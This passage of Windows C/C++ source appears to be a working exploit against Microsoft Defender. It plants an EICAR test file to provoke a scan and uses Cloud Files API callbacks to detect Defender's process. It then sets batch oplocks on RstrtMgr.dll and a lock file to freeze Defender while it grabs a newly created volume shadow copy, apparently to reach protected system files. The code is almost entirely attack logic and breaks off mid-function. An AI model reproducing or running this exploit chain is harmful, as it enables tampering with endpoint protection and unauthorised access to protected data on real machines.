 923  			printf("IUpdateCollection->get_Item returned a NULL pointer.\n");
 924  			continue;
 925  		}
 926  		desc[SysStringLen(desc)] = NULL;
 927  		printf("Description : %ws\n", desc);
 928  		*/
 929  		catcoll = 0;
 930  		hr = upd->get_Categories(&catcoll);
 931  		if (!catcoll)
 932  		{
 933  			printf("IUpdateCollection->get_Categories returned a NULL pointer.\n");
 934  			continue;
 935  		}
 936  		LONG catcount = 0;
 937  		hr = catcoll->get_Count(&catcount);
 938  		for (LONG j = 0; j < catcount; j++)
 939  		{
 940  			cat = 0;
 941  			hr = catcoll->get_Item(j, &cat);
 942  			if (!cat)
 943  			{
 944  				printf("ICategoryCollection->get_Item returned NULL pointer.\n");
 945  				continue;
 946  			}
 947  			catname = 0;
 948  			cat->get_Name(&catname);
 949  			catname[SysStringLen(catname)] = NULL;
 950  			//printf("Category name : %ws\n", catname);
 951  			if (catname)
 952  			{
 953  				if (!IsWdUdpate)
 954  					IsWdUdpate = _wcsicmp(catname, L"Microsoft Defender Antivirus") == 0;
 955  				if (!IsSigUpdate)
 956  					IsSigUpdate = _wcsicmp(catname, L"Definition Updates") == 0;
 957  
 958  			}
 959  
 960  		}
 961  		updatesfound = IsWdUdpate && IsSigUpdate;
 962  		if (updatesfound)
 963  			break;
 964  	}
 965  
 966  	if (updatesfound && updatetitle) {
 967  		memmove(updatetitle, title, lstrlenW(title) * sizeof(wchar_t));
 968  	}
 969  
 970  cleanup:
 971  	if (updcollection)
 972  		updcollection->Release();
 973  	if (srchres)
 974  		srchres->Release();
 975  	if (updsrch)
 976  		updsrch->Release();
 977  	if (updsess)
 978  		updsess->Release();
 979  	if (upd)
 980  		upd->Release();
 981  	CoUninitialize();
 982  
 983  
 984  	return updatesfound;
 985  }
 986  
 987  //////////////////////////////////////////////////////////////////////
 988  // WD definition update functions end
 989  /////////////////////////////////////////////////////////////////////
 990  
 991  
 992  //////////////////////////////////////////////////////////////////////
 993  // Volume shadow copy functions
 994  /////////////////////////////////////////////////////////////////////
 995  
 996  void rev(char* s) {
 997  
 998  	// Initialize l and r pointers
 999  	int l = 0;
1000  	int r = strlen(s) - 1;
1001  	char t;
1002  
1003  	// Swap characters till l and r meet
1004  	while (l < r) {
1005  
1006  		// Swap characters
1007  		t = s[l];
1008  		s[l] = s[r];
1009  		s[r] = t;
1010  
1011  		// Move pointers towards each other
1012  		l++;
1013  		r--;
1014  	}
1015  }
1016  
1017  void DestroyVSSNamesList(LLShadowVolumeNames* First)
1018  {
1019  	while (First)
1020  	{
1021  		free(First->name);
1022  		LLShadowVolumeNames* next = First->next;
1023  		free(First);
1024  		First = next;
1025  	}
1026  }
1027  
1028  LLShadowVolumeNames* RetrieveCurrentVSSList(HANDLE hobjdir, bool* criticalerr, int* vscnumber, DWORD* errorcode)
1029  {
1030  
1031  
1032  	if (!criticalerr || !vscnumber || !errorcode)
1033  		return NULL;
1034  
1035  	*vscnumber = 0;
1036  	ULONG scanctx = 0;
1037  	ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2);
1038  	ULONG retsz = 0;
1039  	OBJECT_DIRECTORY_INFORMATION* objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
1040  	if (!objdirinfo)
1041  	{
1042  		printf("Failed to allocate required buffer to query object manager directory.\n");
1043  		*criticalerr = true;
1044  		*errorcode = ERROR_NOT_ENOUGH_MEMORY;
1045  		return NULL;
1046  	}
1047  	ZeroMemory(objdirinfo, reqsz);
1048  	NTSTATUS stat = STATUS_SUCCESS;
1049  	do
1050  	{
1051  		stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, FALSE, &scanctx, &retsz);
1052  		if (stat == STATUS_SUCCESS)
1053  			break;
1054  		else if (stat != STATUS_MORE_ENTRIES)
1055  		{
1056  			printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat);
1057  			*criticalerr = true;
1058  			*errorcode = RtlNtStatusToDosError(stat);
1059  			return NULL;
1060  		}
1061  
1062  		free(objdirinfo);
1063  		reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100;
1064  		objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
1065  		if (!objdirinfo)
1066  		{
1067  			printf("Failed to allocate required buffer to query object manager directory.\n");
1068  			*criticalerr = true;
1069  			*errorcode = ERROR_NOT_ENOUGH_MEMORY;
1070  			return NULL;
1071  		}
1072  		ZeroMemory(objdirinfo, reqsz);
1073  	} while (1);
1074  	void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION));
1075  	ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION));
1076  	LLShadowVolumeNames* LLVSScurrent = NULL;
1077  	LLShadowVolumeNames* LLVSSfirst = NULL;
1078  	for (ULONG i = 0; i < ULONG_MAX; i++)
1079  	{
1080  		if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0)
1081  		{
1082  			free(emptybuff);
1083  			break;
1084  		}
1085  		if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0)
1086  		{
1087  			wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" };
1088  			if (objdirinfo[i].Name.Length >= sizeof(cmpstr))
1089  			{
1090  				if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0)
1091  				{
1092  					(*vscnumber)++;
1093  					if (LLVSScurrent)
1094  					{
1095  						LLVSScurrent->next = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames));
1096  						if (!LLVSScurrent->next)
1097  						{
1098  							printf("Failed to allocate memory.\n");
1099  							*criticalerr = true;
1100  							*errorcode = ERROR_NOT_ENOUGH_MEMORY;
1101  							DestroyVSSNamesList(LLVSSfirst);
1102  							free(objdirinfo);
1103  							return NULL;
1104  						}
1105  						ZeroMemory(LLVSScurrent->next, sizeof(LLShadowVolumeNames));
1106  						LLVSScurrent = LLVSScurrent->next;
1107  						LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t));
1108  						if (!LLVSScurrent->name)
1109  						{
1110  							printf("Failed to allocate memory !!!\n");
1111  							*errorcode = ERROR_NOT_ENOUGH_MEMORY;
1112  							*criticalerr = true;
1113  							DestroyVSSNamesList(LLVSSfirst);
1114  							free(objdirinfo);
1115  							return NULL;
1116  						}
1117  						ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t));
1118  						memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length);
1119  					}
1120  					else
1121  					{
1122  						LLVSSfirst = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames));
1123  						if (!LLVSSfirst)
1124  						{
1125  							printf("Failed to allocate memory.\n");
1126  							*errorcode = ERROR_NOT_ENOUGH_MEMORY;
1127  							*criticalerr = true;
1128  							DestroyVSSNamesList(LLVSSfirst);
1129  							free(objdirinfo);
1130  							return NULL;
1131  						}
1132  						ZeroMemory(LLVSSfirst, sizeof(LLShadowVolumeNames));
1133  						LLVSScurrent = LLVSSfirst;
1134  						LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t));
1135  						if (!LLVSScurrent->name)
1136  						{
1137  							printf("Failed to allocate memory !!!\n");
1138  							*errorcode = ERROR_NOT_ENOUGH_MEMORY;
1139  							*criticalerr = true;
1140  							DestroyVSSNamesList(LLVSSfirst);
1141  							free(objdirinfo);
1142  							return NULL;
1143  						}
1144  						ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t));
1145  						memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length);
1146  
1147  					}
1148  
1149  				}
1150  			}
1151  		}
1152  
1153  
1154  
1155  
1156  	}
1157  	free(objdirinfo);
1158  	return LLVSSfirst;
1159  }
1160  
1161  DWORD WINAPI ShadowCopyFinderThread(void* fullvsspath)
1162  {
1163  
1164  	wchar_t devicepath[] = L"\\Device";
1165  	UNICODE_STRING udevpath = { 0 };
1166  	RtlInitUnicodeString(&udevpath, devicepath);
1167  	OBJECT_ATTRIBUTES objattr = { 0 };
1168  	InitializeObjectAttributes(&objattr, &udevpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
1169  	NTSTATUS stat = STATUS_SUCCESS;
1170  	HANDLE hobjdir = NULL;
1171  	DWORD retval = ERROR_SUCCESS;
1172  	wchar_t newvsspath[MAX_PATH] = { 0 };
1173  	wcscpy(newvsspath, L"\\Device\\");
1174  	bool criterr = false;
1175  	int vscnum = 0;
1176  	bool restartscan = false;
1177  	ULONG scanctx = 0;
1178  	ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2);
1179  	ULONG retsz = 0;
1180  	OBJECT_DIRECTORY_INFORMATION* objdirinfo = NULL;
1181  	bool srchfound = false;
1182  	wchar_t vsswinpath[MAX_PATH] = { 0 };
1183  	UNICODE_STRING _vsswinpath = { 0 };
1184  
1185  	OBJECT_ATTRIBUTES objattr2 = { 0 };
1186  	IO_STATUS_BLOCK iostat = { 0 };
1187  	HANDLE hlk = NULL;
1188  	LLShadowVolumeNames* vsinitial = NULL;
1189  
1190  	stat = _NtOpenDirectoryObject(&hobjdir, 0x0001, &objattr);
1191  	if (stat)
1192  	{
1193  		printf("Failed to open object manager directory, error : 0x%0.8X", stat);
1194  		retval = RtlNtStatusToDosError(stat);
1195  		return retval;
1196  	}
1197  	void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION));
1198  	if (!emptybuff)
1199  	{
1200  		printf("Failed to allocate memory !!!");
1201  		retval = ERROR_NOT_ENOUGH_MEMORY;
1202  		goto cleanup;
1203  	}
1204  	ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION));
1205  
1206  	
1207  	vsinitial = RetrieveCurrentVSSList(hobjdir, &criterr, &vscnum,&retval);
1208  
1209  	if (criterr)
1210  	{
1211  		printf("Unexpected error while listing current volume shadow copy volumes\n");
1212  		goto cleanup;
1213  	}
1214  	if (!vsinitial)
1215  	{
1216  		printf("No volume shadow copies were found.\n");
1217  	}
1218  	else
1219  	{
1220  		printf("Found %d volume shadow copies\n", vscnum);
1221  	}
1222  
1223  
1224  
1225  	stat = STATUS_SUCCESS;
1226  
1227  scanagain:
1228  	do
1229  	{
1230  		if (objdirinfo)
1231  			free(objdirinfo);
1232  		objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
1233  		if (!objdirinfo)
1234  		{
1235  			printf("Failed to allocate required buffer to query object manager directory.\n");
1236  			retval = ERROR_NOT_ENOUGH_MEMORY;
1237  			goto cleanup;
1238  		}
1239  		ZeroMemory(objdirinfo, reqsz);
1240  
1241  		scanctx = 0;
1242  		stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, restartscan, &scanctx, &retsz);
1243  		if (stat == STATUS_SUCCESS)
1244  			break;
1245  		else if (stat != STATUS_MORE_ENTRIES)
1246  		{
1247  			printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat);
1248  			retval = RtlNtStatusToDosError(stat);
1249  			goto cleanup;
1250  		}
1251  		reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100;
1252  	} while (1);
1253  	
1254  
1255  
1256  	for (ULONG i = 0; i < ULONG_MAX; i++)
1257  	{
1258  		if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0)
1259  		{
1260  			break;
1261  		}
1262  		if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0)
1263  		{
1264  			wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" };
1265  			if (objdirinfo[i].Name.Length >= sizeof(cmpstr))
1266  			{
1267  				if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0)
1268  				{
1269  					// check against the list if there this is a unique VS Copy
1270  					LLShadowVolumeNames* current = vsinitial;
1271  					bool found = false;
1272  					while (current)
1273  					{
1274  						if (_wcsicmp(current->name, objdirinfo[i].Name.Buffer) == 0)
1275  						{
1276  							found = true;
1277  							break;
1278  						}
1279  						current = current->next;
1280  					}
1281  					if (found)
1282  						continue;
1283  					else
1284  					{
1285  						srchfound = true;
1286  						wcscat(newvsspath, objdirinfo[i].Name.Buffer);
1287  						break;
1288  					}
1289  				}
1290  			}
1291  		}
1292  	}
1293  
1294  	if (!srchfound) {
1295  		restartscan = true;
1296  		goto scanagain;
1297  	}
1298  	if (objdirinfo) {
1299  		free(objdirinfo);
1300  		objdirinfo = NULL;
1301  	}
1302  	NtClose(hobjdir);
1303  	hobjdir = NULL;
1304  
1305  
1306  
1307  	printf("New volume shadow copy detected : %ws\n", newvsspath);
1308  
1309  
1310  	wcscpy(vsswinpath, newvsspath);
1311  	wcscat(vsswinpath, L"\\Windows");
1312  	RtlInitUnicodeString(&_vsswinpath, vsswinpath);
1313  	InitializeObjectAttributes(&objattr2, &_vsswinpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
1314  
1315  retry:
1316  	stat = NtCreateFile(&hlk, FILE_READ_ATTRIBUTES, &objattr2, &iostat, NULL, NULL, NULL, FILE_OPEN, NULL, NULL, NULL);
1317  	if (stat == STATUS_NO_SUCH_DEVICE)
1318  		goto retry;
1319  	if (stat)
1320  	{
1321  		printf("Failed to open volume shadow copy, error : 0x%0.8X\n", stat);
1322  		retval = RtlNtStatusToDosError(stat);
1323  		goto cleanup;
1324  
1325  
1326  	}
1327  	printf("Successfully accessed volume shadow copy.\n");
1328  	CloseHandle(hlk);
1329  	if (fullvsspath)
1330  		wcscpy((wchar_t*)fullvsspath, newvsspath);
1331  
1332  
1333  cleanup:
1334  	if (hobjdir)
1335  		NtClose(hobjdir);
1336  	if (emptybuff)
1337  		free(emptybuff);
1338  	if (vsinitial)
1339  		DestroyVSSNamesList(vsinitial);
1340  
1341  	return retval;
1342  }
1343  
1344  DWORD GetWDPID()
1345  {
1346  	static DWORD retval = 0;
1347  	if (retval)
1348  		return retval;
1349  
1350  	SC_HANDLE scmgr = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
1351  	if (!scmgr)
1352  		return 0;
1353  	SC_HANDLE hsvc = OpenService(scmgr, L"WinDefend", SERVICE_QUERY_STATUS);
1354  	CloseServiceHandle(scmgr);
1355  	if (!hsvc)
1356  		return 0;
1357  
1358  
1359  	SERVICE_STATUS_PROCESS ssp = { 0 };
1360  	DWORD reqsz = sizeof(ssp);
1361  	bool res = QueryServiceStatusEx(hsvc, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, reqsz, &reqsz);
1362  	CloseServiceHandle(hsvc);
1363  	if (!res)
1364  		return 0;
1365  	retval = ssp.dwProcessId;
1366  	return retval;
1367  
1368  }
1369  
1370  void CfCallbackFetchPlaceHolders(
1371  	_In_ CONST CF_CALLBACK_INFO* CallbackInfo,
1372  	_In_ CONST CF_CALLBACK_PARAMETERS* CallbackParameters
1373  ) {
1374  
1375  	printf("CfCallbackFetchPlaceHolders triggered !\n");
1376  
1377  	CF_PROCESS_INFO* cpi = CallbackInfo->ProcessInfo;
1378  	wchar_t* procname = PathFindFileName(cpi->ImagePath);
1379  	printf("Directory query from %ws\n", procname);
1380  	if (GetWDPID() == cpi->ProcessId)
1381  	{
1382  		cldcallbackctx* ctx = (cldcallbackctx*)CallbackInfo->CallbackContext;
1383  		SetEvent(ctx->hnotifywdaccess);;
1384  
1385  		printf("Defender flagged.\n");
1386  		CF_OPERATION_INFO cfopinfo = { 0 };
1387  		cfopinfo.StructSize = sizeof(CF_OPERATION_INFO);
1388  		cfopinfo.Type = CF_OPERATION_TYPE_TRANSFER_PLACEHOLDERS;
1389  		cfopinfo.ConnectionKey = CallbackInfo->ConnectionKey;
1390  		cfopinfo.TransferKey = CallbackInfo->TransferKey;
1391  		cfopinfo.CorrelationVector = CallbackInfo->CorrelationVector;
1392  		cfopinfo.RequestKey = CallbackInfo->RequestKey;
1393  		//STATUS_CLOUD_FILE_REQUEST_TIMEOUT
1394  		SYSTEMTIME systime = { 0 };
1395  		FILETIME filetime = { 0 };
1396  		GetSystemTime(&systime);
1397  		SystemTimeToFileTime(&systime, &filetime);
1398  
1399  		FILE_BASIC_INFO filebasicinfo = { 0 };
1400  		filebasicinfo.FileAttributes = FILE_ATTRIBUTE_NORMAL;
1401  		CF_FS_METADATA fsmetadata = { filebasicinfo, {0x1000} };
1402  		CF_PLACEHOLDER_CREATE_INFO placeholder[1] = { 0 };
1403  		GUID uid = { 0 };
1404  		RPC_WSTR wuid = { 0 };
1405  		UuidCreate(&uid);
1406  		UuidToStringW(&uid, &wuid);
1407  		wchar_t* wuid2 = (wchar_t*)wuid;
1408  		placeholder[0].RelativeFileName = ctx->filename;
1409  
1410  		placeholder[0].FsMetadata = fsmetadata;
1411  
1412  		UuidCreate(&uid);
1413  		UuidToStringW(&uid, &wuid);
1414  		wuid2 = (wchar_t*)wuid;
1415  		placeholder[0].FileIdentity = wuid2;
1416  		placeholder[0].FileIdentityLength = lstrlenW(wuid2) * sizeof(wchar_t);
1417  		placeholder[0].Flags = CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE;
1418  
1419  
1420  		CF_OPERATION_PARAMETERS cfopparams = { 0 };
1421  		cfopparams.ParamSize = sizeof(cfopparams);
1422  		cfopparams.TransferPlaceholders.PlaceholderCount = 1;
1423  		cfopparams.TransferPlaceholders.PlaceholderTotalCount.QuadPart = 1;
1424  		cfopparams.TransferPlaceholders.EntriesProcessed = 0;
1425  		cfopparams.TransferPlaceholders.Flags = CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_NONE;
1426  		cfopparams.TransferPlaceholders.PlaceholderArray = placeholder;
1427  
1428  		WaitForSingleObject(ctx->hnotifylockcreated, INFINITE);
1429  		HRESULT hs = CfExecute(&cfopinfo, &cfopparams);
1430  		printf("CfExecute returned : 0x%0.8X\n", hs);
1431  		return;
1432  	}
1433  	CF_OPERATION_INFO cfopinfo = { 0 };
1434  	cfopinfo.StructSize = sizeof(CF_OPERATION_INFO);
1435  	cfopinfo.Type = CF_OPERATION_TYPE_TRANSFER_PLACEHOLDERS;
1436  	cfopinfo.ConnectionKey = CallbackInfo->ConnectionKey;
1437  	cfopinfo.TransferKey = CallbackInfo->TransferKey;
1438  	cfopinfo.CorrelationVector = CallbackInfo->CorrelationVector;
1439  	cfopinfo.RequestKey = CallbackInfo->RequestKey;
1440  	CF_OPERATION_PARAMETERS cfopparams = { 0 };
1441  	cfopparams.ParamSize = sizeof(cfopparams);
1442  	cfopparams.TransferPlaceholders.PlaceholderCount = 0;
1443  	cfopparams.TransferPlaceholders.PlaceholderTotalCount.QuadPart = 0;
1444  	cfopparams.TransferPlaceholders.EntriesProcessed = 0;
1445  	cfopparams.TransferPlaceholders.Flags = CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_NONE;
1446  	cfopparams.TransferPlaceholders.PlaceholderArray = { 0 };
1447  	HRESULT hs = CfExecute(&cfopinfo, &cfopparams);
1448  	printf("CfExecute : 0x%0.8X\n", hs);
1449  
1450  	return;
1451  
1452  
1453  }
1454  
1455  DWORD WINAPI FreezeVSS(void* arg)
1456  {
1457  	cloudworkerthreadargs* args = (cloudworkerthreadargs*)arg;
1458  	if (!args)
1459  		return ERROR_BAD_ARGUMENTS;
1460  
1461  	HANDLE hlock = NULL;
1462  	HRESULT hs;
1463  	CF_SYNC_REGISTRATION cfreg = { 0 };
1464  	cfreg.StructSize = sizeof(CF_SYNC_REGISTRATION);
1465  	cfreg.ProviderName = L"IHATEMICROSOFT";
1466  	cfreg.ProviderVersion = L"1.0";
1467  	CF_SYNC_POLICIES syncpolicy = { 0 };
1468  	syncpolicy.StructSize = sizeof(CF_SYNC_POLICIES);
1469  	syncpolicy.HardLink = CF_HARDLINK_POLICY_ALLOWED;
1470  	syncpolicy.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
1471  	syncpolicy.Hydration.Modifier = CF_HYDRATION_POLICY_MODIFIER_VALIDATION_REQUIRED;
1472  	syncpolicy.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_DEFAULT;
1473  	syncpolicy.InSync = CF_INSYNC_POLICY_NONE;
1474  	CF_CALLBACK_REGISTRATION callbackreg[2];
1475  	callbackreg[0] = { CF_CALLBACK_TYPE_FETCH_PLACEHOLDERS, CfCallbackFetchPlaceHolders };
1476  	callbackreg[1] = { CF_CALLBACK_TYPE_NONE, NULL };
1477  	CF_CONNECTION_KEY cfkey = { 0 };
1478  	OVERLAPPED ovd = { 0 };
1479  	DWORD nwf = 0;
1480  	//wchar_t syncroot[] = L"C:\\temp";
1481  	wchar_t syncroot[MAX_PATH] = { 0 };
1482  	GetModuleFileName(GetModuleHandle(NULL), syncroot, MAX_PATH);
1483  	*(PathFindFileName(syncroot) - 1) = L'\0';
1484  	DWORD retval = STATUS_SUCCESS;
1485  	wchar_t lockfile[MAX_PATH];
1486  	wcscpy(lockfile, syncroot);
1487  	wcscat(lockfile, L"\\");
1488  	GUID uid = { 0 };
1489  	RPC_WSTR wuid = { 0 };
1490  	UuidCreate(&uid);
1491  	UuidToStringW(&uid, &wuid);
1492  	wchar_t* wuid2 = (wchar_t*)wuid;
1493  	wcscat(lockfile, wuid2);
1494  	wcscat(lockfile, L".lock");
1495  	cldcallbackctx callbackctx = { 0 };
1496  	bool syncrootregistered = false;
1497  	callbackctx.hnotifywdaccess = CreateEvent(NULL, FALSE, FALSE, NULL);
1498  	callbackctx.hnotifylockcreated = CreateEvent(NULL, FALSE, FALSE, NULL);
1499  	if (!callbackctx.hnotifylockcreated || !callbackctx.hnotifywdaccess)
1500  	{
1501  		printf("Failed to create event, error : %d", GetLastError());
1502  		retval = GetLastError();
1503  		goto cleanup;
1504  	}
1505  	wcscpy(callbackctx.filename, wuid2);
1506  	wcscat(callbackctx.filename, L".lock");
1507  	hlock = CreateFile(lockfile, GENERIC_ALL, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED | FILE_FLAG_DELETE_ON_CLOSE, NULL);
1508  	if (!hlock || hlock == INVALID_HANDLE_VALUE)
1509  	{
1510  		printf("Failed to create lock file %ws error : %d", lockfile, GetLastError());
1511  		retval = GetLastError();
1512  		goto cleanup;
1513  	}
1514  
1515  
1516  	//CreateDirectory(syncroot, NULL);
1517  	hs = CfRegisterSyncRoot(syncroot, &cfreg, &syncpolicy, CF_REGISTER_FLAG_NONE);
1518  	if (hs)
1519  	{
1520  		printf("Failed to register syncroot, hr = 0x%0.8X\n", hs);
1521  		retval = ERROR_UNIDENTIFIED_ERROR;
1522  		goto cleanup;
1523  	}
1524  	syncrootregistered = true;
1525  	hs = CfConnectSyncRoot(syncroot, callbackreg, &callbackctx, CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO | CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH, &cfkey);
1526  	if (hs)
1527  	{
1528  		printf("Failed to connect to syncroot, hr = 0x%0.8X\n", hs);
1529  		retval = ERROR_UNIDENTIFIED_ERROR;
1530  		goto cleanup;
1531  	}
1532  	if (args->hlock) {
1533  		CloseHandle(args->hlock);
1534  		args->hlock = NULL;
1535  	}
1536  
1537  	printf("Waiting for callback...\n");
1538  
1539  	WaitForSingleObject(callbackctx.hnotifywdaccess, INFINITE);
1540  
1541  	ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
1542  	if (!ovd.hEvent)
1543  	{
1544  		printf("Failed to create event, error : %d\n", GetLastError());
1545  		retval = GetLastError();
1546  		goto cleanup;
1547  	}
1548  	DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);
1549  
1550  	if (GetLastError() != ERROR_IO_PENDING)
1551  	{
1552  		printf("Failed to request a batch oplock on the update file, error : %d", GetLastError());
1553  		retval = GetLastError();
1554  		goto cleanup;
1555  	}
1556  	SetEvent(callbackctx.hnotifylockcreated);
1557  
1558  	printf("Waiting for oplock to trigger...\n");
1559  
1560  	GetOverlappedResult(hlock, &ovd, &nwf, TRUE);
1561  
1562  	printf("WD is frozen and the new VSS can be used.\n");
1563  
1564  	SetEvent(args->hvssready);
1565  
1566  	WaitForSingleObject(args->hcleanupevent, INFINITE);
1567  
1568  	
1569  	
1570  cleanup:
1571  
1572  	if (hlock)
1573  		CloseHandle(hlock);
1574  	if (callbackctx.hnotifylockcreated)
1575  		CloseHandle(callbackctx.hnotifylockcreated);
1576  	if (callbackctx.hnotifywdaccess)
1577  		CloseHandle(callbackctx.hnotifywdaccess);
1578  	if (ovd.hEvent)
1579  		CloseHandle(ovd.hEvent);
1580  
1581  	if (syncrootregistered)
1582  	{
1583  		CfDisconnectSyncRoot(cfkey);
1584  		CfUnregisterSyncRoot(syncroot);
1585  	}
1586  	
1587  
1588  	return retval;
1589  
1590  }
1591  
1592  
1593  bool TriggerWDForVS(HANDLE hreleaseevent,wchar_t* fullvsspath)
1594  {
1595  	GUID uid = { 0 };
1596  	RPC_WSTR wuid = { 0 };
1597  	UuidCreate(&uid);
1598  	UuidToStringW(&uid, &wuid);
1599  	wchar_t* wuid2 = (wchar_t*)wuid;
1600  
1601  	wchar_t workdir[MAX_PATH] = { 0 };
1602  	ExpandEnvironmentStrings(L"%TEMP%\\", workdir, MAX_PATH);
1603  	wcscat(workdir, wuid2);
1604  	wchar_t eicarfilepath[MAX_PATH] = { 0 };
1605  	wcscpy(eicarfilepath,workdir);
1606  	wcscat(eicarfilepath,L"\\foo.exe");
1607  
1608  	HANDLE hlock = NULL;
1609  	wchar_t rstmgr[MAX_PATH] = { 0 };
1610  	ExpandEnvironmentStrings(L"%windir%\\System32\\RstrtMgr.dll", rstmgr, MAX_PATH);
1611  	OVERLAPPED ovd = { 0 };
1612  	char eicar[] = "*H+H$!ELIF-TSET-SURIVITNA-DRADNATS-RACIE$}7)CC7)^P(45XZP\\4[PA@%P!O5X";
1613  	rev(eicar);
1614  	DWORD nwf = 0;
1615  	cloudworkerthreadargs cldthreadargs = { 0 };
1616  	DWORD tid = 0;
1617  	HANDLE hthread = NULL;
1618  	bool dircreated = false;
1619  	bool retval = true;
1620  	HANDLE hfile = NULL;
1621  	HANDLE trigger = NULL;
1622  	HANDLE hthread2 = NULL;
1623  	HANDLE hobj[2] = { 0 };
1624  	DWORD exitcode = STATUS_SUCCESS;
1625  	DWORD waitres = 0;
1626  	hthread = CreateThread(NULL, NULL, ShadowCopyFinderThread, (void*)fullvsspath, NULL, &tid);
1627  	if (!hthread)
1628  	{
1629  		printf("Failed to create worker thread, error : %d", GetLastError());
1630  		retval = false;
1631  		goto cleanup;
1632  	}
1633  	
1634  	dircreated = CreateDirectory(workdir, NULL);
1635  	if (!dircreated)
1636  	{
1637  		printf("Failed to create working directory, error : %d\n",GetLastError());
1638  		retval = false;
1639  		goto cleanup;
1640  	}
1641  
1642  	hfile = CreateFile(eicarfilepath, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_DELETE_ON_CLOSE, NULL);
1643  	if (!hfile || hfile == INVALID_HANDLE_VALUE)
1644  	{
1645  		printf("Failed to create eicar test file, error : %d\n", GetLastError());
1646  		retval = false;
1647  		goto cleanup;
1648  	}
1649  
1650  
1651  	
1652  	if (!WriteFile(hfile, eicar, sizeof(eicar) - 1, &nwf, NULL))
1653  	{
1654  		printf("Failed to write eicar test file, error : %d\n", GetLastError());
1655  		retval = false;
1656  		goto cleanup;
1657  	}
1658  
1659  
1660  	hlock = CreateFile(rstmgr, GENERIC_READ | SYNCHRONIZE, NULL, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
1661  	if (!hlock || hlock == INVALID_HANDLE_VALUE)
1662  	{
1663  		printf("Failed to open restart manager dll for exclusive access, error : %d\nTry again later.\n", GetLastError());
1664  		retval = false;
1665  		goto cleanup;
1666  	}
1667  
1668  
1669  	ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
1670  	if (!ovd.hEvent)
1671  	{
1672  		printf("Failed to create event object with error : %d !!!!\n", GetLastError());
1673  		retval = false;
1674  		goto cleanup;
1675  	}
1676  
1677  	SetLastError(ERROR_SUCCESS);
1678  	DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);
1679  
1680  	if (GetLastError() != ERROR_IO_PENDING)
1681  	{
1682  		printf("Failed to request a batch oplock on the update file, error : %d", GetLastError());
1683  		retval = false;
1684  		goto cleanup;
1685  	}
1686  
1687  	// trigger wd for action
1688  	trigger = CreateFile(eicarfilepath, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
1689  	if (trigger && trigger != INVALID_HANDLE_VALUE)
1690  		CloseHandle(trigger);
1691  
1692  	printf("Waiting for oplock to trigger...\n");
1693  	GetOverlappedResult(hlock, &ovd, &nwf, TRUE);
1694  	printf("Oplock triggered.\n");
1695  
1696  	if (!GetExitCodeThread(hthread, &exitcode))
1697  	{
1698  		printf("Unexpected error while getting worker thread exit code");
1699  		retval = false;
1700  		goto cleanup;
1701  	}
1702  	if (exitcode)
1703  	{
1704  		printf("Failed to get new volume shadow copy path");
1705  		retval = false;
